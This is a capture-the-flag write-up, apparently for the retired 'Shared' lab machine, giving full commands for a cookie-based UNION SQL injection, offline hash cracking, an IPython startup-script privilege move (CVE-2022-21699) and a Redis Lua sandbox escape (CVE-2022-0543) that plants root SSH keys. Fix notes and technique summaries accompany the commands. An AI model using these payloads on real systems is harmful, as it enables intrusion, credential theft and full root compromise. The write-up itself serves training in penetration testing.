Shared
Summary
I exploited a UNION-based SQL injection in the 'custom_cart' cookie of the checkout.shared.htb e-commerce site to dump the application's user table, then cracked a weakly-hashed password offline to obtain valid SSH credentials for james_mason. From that foothold, a group-writable directory combined with a vulnerable IPython installation (CVE-2022-21699) let me plant a malicious startup script that ran as dan_smith under a scheduled job, granting SSH access via a planted key and the user flag.
As dan_smith, a root:sysadmin-owned binary was found to embed a plaintext Redis password in its strings; using it against a root-owned, Lua-scripting-enabled Redis instance, I exploited the Debian Lua sandbox escape (CVE-2022-0543) to execute arbitrary commands as root, planting a root SSH key and reading root.txt for full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <your-public-key> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Confirm open ports and service banners.
$ nmap -sV -p- $TARGETAdd the discovered checkout vhost to local resolution.
$ echo "$TARGET shared.htb checkout.shared.htb" | sudo tee -a /etc/hostsExact commands 2
URL-encoded UNION payload in the cart's product-id key enumerates table names.
$ curl -s http://checkout.shared.htb/cart -H "Cookie: custom_cart=%7B%22-1%27%20UNION%20SELECT%20group_concat(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase()--%20-%22%3A%221%22%7D"Same technique dumps username:password_hash pairs from the users table.
$ curl -s http://checkout.shared.htb/cart -H "Cookie: custom_cart=%7B%22-1%27%20UNION%20SELECT%20group_concat(username%2C0x3a%2Cpassword)%20FROM%20users--%20-%22%3A%221%22%7D"FixEliminate SQL injection in the shopping-cart cookieCritical
Exact commands 2
Offline crack of the dumped hash (adjust -m to the actual hash type, e.g. Sha256/md5).
$ hashcat -m 1400 -a 0 dumped_hash.txt rockyou.txtVerified foothold with the cracked credential.
$ sshpass -p "$PASSWORD7" ssh -o StrictHostKeyChecking=no james_mason@$TARGET 'id'FixUse strong, salted password hashing and enforce a stronger password policyMedium
Exact commands 4
Generate a keypair to plant for dan_smith.
$ ssh-keygen -q -t ed25519 -N '' -f /tmp/conquest_dan_keyPlant the startup payload; replace <DAN_PUBKEY> with the generated public key. Wait for the next scheduled ipython run as dan_smith to trigger it.
$ sshpass -p "$PASSWORD7" ssh james_mason@$TARGET 'rm -rf /dev/shm/profile_default; mkdir -p /dev/shm/profile_default/startup; chmod 777 /dev/shm/profile_default /dev/shm/profile_default/startup; printf "%s\n" "import os; os.system(\"mkdir -p /home/dan_smith/.ssh; echo <DAN_PUBKEY> > /home/dan_smith/.ssh/authorized_keys; chmod 700 /home/dan_smith/.ssh; chmod 600 /home/dan_smith/.ssh/authorized_keys\")" > /dev/shm/profile_default/startup/pwn.py'Confirm lateral movement worked.
$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)Read the user flag; result is <user.txt>.
$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET cat /home/dan_smith/user.txtFixPatch IPython and remove shared writable startup directoriesHigh
Exact commands 2
Locate sysadmin-group-readable files.
$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "find / -group sysadmin -type f -ls 2>/dev/null"Extract the embedded Redis credential and connection details.
$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "strings -a /usr/local/bin/redis_connector_dev | grep -Eia 'redis|pass|auth|127\.0\.0\.1|6379'"FixRemove hardcoded Redis credential from the sysadmin binaryHigh
strings extraction.Exact commands 4
Confirm the exact liblua path to load.
$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "find /usr/lib /lib -name 'liblua5.1.so*'"Run from the dan_smith SSH session; Lua sandbox escape confirms uid=0 before touching the flag.
$ redis-cli -h 127.0.0.1 -a "$PASSWORD" --raw EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("/usr/bin/id"); local out=f:read("*a"); f:close(); return out' 0Persist root access via an SSH key; replace <<your-public-key>>.
$ redis-cli -h 127.0.0.1 -a "$PASSWORD" EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("mkdir -p /root/.ssh; echo <<your-public-key>> > /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys"); f:close(); return 1' 0Read the root flag; result is <root.txt>.
$ redis-cli -h 127.0.0.1 -a "$PASSWORD" --raw EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("cat /root/root.txt"); local out=f:read("*a"); f:close(); return out' 0FixPatch Redis and stop running it as root with unrestricted scriptingCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 |
| 443/tcp | ssl/http nginx 1.18.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.